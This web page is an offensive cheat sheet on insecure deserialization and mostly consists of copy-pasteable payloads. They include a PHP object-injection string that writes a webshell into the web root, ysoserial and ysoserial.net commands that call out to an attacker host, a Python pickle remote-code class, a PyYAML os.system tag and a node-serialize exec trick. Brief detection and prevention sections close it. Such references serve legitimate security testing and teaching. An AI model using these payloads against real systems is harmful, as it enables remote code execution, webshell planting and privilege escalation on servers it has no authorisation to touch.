Insecure Deserialization: From Serialized Blob to Remote Code Execution

Insecure Deserialization Cheat Sheet

A dense, copy-pasteable deserialization reference: format signatures, PHP object injection, phar, ysoserial, pickle, node, detection, and prevention.

Published

Every deserialization payload in one place. The core move never changes: get the target to rebuild an attacker-chosen object, and let its lifecycle code reach a sink. For the how and why behind each section, start at the insecure deserialization guide. Lock it in on a free live target.

Format signatures (what to look for on the wire)

LanguageLooks likeNotes
PHPO:4:"User":2:{s:4:"name";...}O:=object, a:=array, s:=string, length-prefixed
Javabase64 rO0AB · raw AC ED 00 05magic 0xACED, stream version 0x0005
.NET__VIEWSTATE=... · base64 AAEAAADBinaryFormatter header, ViewState may be MAC-protected
Python pickleopcodes \x80\x04, \x93, R, .\x93=global (proto 4), c=global (proto 0), R=reduce, .=stop
Ruby (Marshal)base64 commonly BAhraw \x04\x08 version header
Node (node-serialize, rare)a JSON field holding _$$ND_FUNC$$_function(){...}()abandoned library, IIFE trick in serialized functions

PHP object injection

// A gadget class the app already loads:
class Logger {
    public $logfile = 'app.log';
    public $data = '';
    public function __destruct() {                 // runs automatically at end of life
        file_put_contents($this->logfile, $this->data);   // attacker-controlled sink
    }
}
# Hand-crafted payload (write a webshell). Lengths are BYTE-EXACT or unserialize() fails:
O:6:"Logger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:4:"data";s:26:"<?php system($_GET[0]); ?>";}
 
# Tamper an existing object (privilege flip):
O:4:"User":2:{s:4:"name";s:3:"bob";s:7:"isAdmin";b:1;}

__wakeup() fires on unserialize(); __destruct() fires at destruction. Both are prime triggers. Count every s:<n> byte length exactly. Private props mangle to \x00Class\x00prop, protected to \x00*\x00prop.

PHAR trick (deserialize with no unserialize() call)

phar://uploaded.gif/anything    PHP <= 7.4: any filesystem function taking a stream wrapper
                                 (file_exists, fopen, getimagesize, md5_file, is_file...)
                                 deserializes the PHAR's metadata object.
                                 PHP 8.0+: only an explicit Phar::getMetadata() call does.
Polyglot: valid image header (GIF89a) + __HALT_COMPILER() stub + serialized POP in metadata.

Java (ysoserial)

# list available gadget chains
java -jar ysoserial.jar
 
# Commons Collections chain, base64 for a cookie
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.oast' | base64 -w0
 
# chains to try by classpath:
#   CommonsCollections1..7, CommonsBeanutils1, Spring1/2, Hibernate1, ROME, Jdk7u21
# URLDNS proves deserialization via a DNS lookup with no gadget library.
# Confirm blind with an OOB pingback or a sleep/time delay.

.NET (ysoserial.net / viewgen)

# ViewState when the machine key is known
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping attacker.oast" \
  --generator=<hex value> --validationkey=<KEY> --validationalg=HMACSHA256 --path="/page.aspx" --apppath="/"
 
# raw BinaryFormatter gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping attacker.oast" -o base64
 
# JSON.NET with TypeNameHandling != None is injectable via a $type property.
# viewgen is the lightweight alternative for crafting/validating ViewState.

Python pickle (__reduce__ RCE)

import pickle, base64, os
 
class RCE:
    def __reduce__(self):
        # (callable, args) -> callable(*args) runs during unpickling
        return (os.system, ('id > /tmp/pwn',))
 
print(base64.b64encode(pickle.dumps(RCE())).decode())
# Send where the app calls pickle.loads() on your input (session, cache, queue).
# YAML cousin (modern PyYAML): the object tag only fires with an UNSAFE loader.
!!python/object/apply:os.system ["id"]
yaml.unsafe_load(data)                 # fires (RCE)
yaml.load(data, Loader=yaml.Loader)    # fires (RCE)
yaml.load(data)                        # 5.1+ FullLoader (5.1-5.3.0 bypassable, CVE-2020-1747; safe 5.3.1+); 6.0 needs a Loader
yaml.safe_load(data)                   # safe

Node (node-serialize) IIFE

A serialized value containing the node-serialize function trick:
_$$ND_FUNC$$_function(){ require('child_process').exec('id',()=>{}); }()
delivered as a JSON string field that unserialize() turns back into a called function.

Detection inputs (where to look / what to poke)

Carriers:  cookies, hidden form fields, query/body params, headers, API payloads,
           message-queue bodies, cache entries.
Confirm:   flip one byte -> 500/parse error means the server deserializes it.
           For Java/.NET, send a tiny valid object first, then the gadget.
           Blind targets: OOB (DNS/HTTP pingback) or timing to confirm RCE.

Prevention

  • Do not deserialize untrusted data. The only complete fix.
  • Prefer simple formats (JSON, Protobuf) with no polymorphic typing. Disable TypeNameHandling, avoid yaml.load/unsafe_load, avoid pickle on external input.
  • Integrity-protect serialized data you round-trip: sign (HMAC) or encrypt and verify before parsing.
  • Allow-list classes (Java ObjectInputFilter, PHP unserialize allowed_classes).
  • Patch gadget-prone libraries and remove unused ones from the classpath.
  • Least privilege + isolation so a successful RCE is contained.

Full detail in preventing insecure deserialization. For another route to RCE, see server-side template injection.

← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution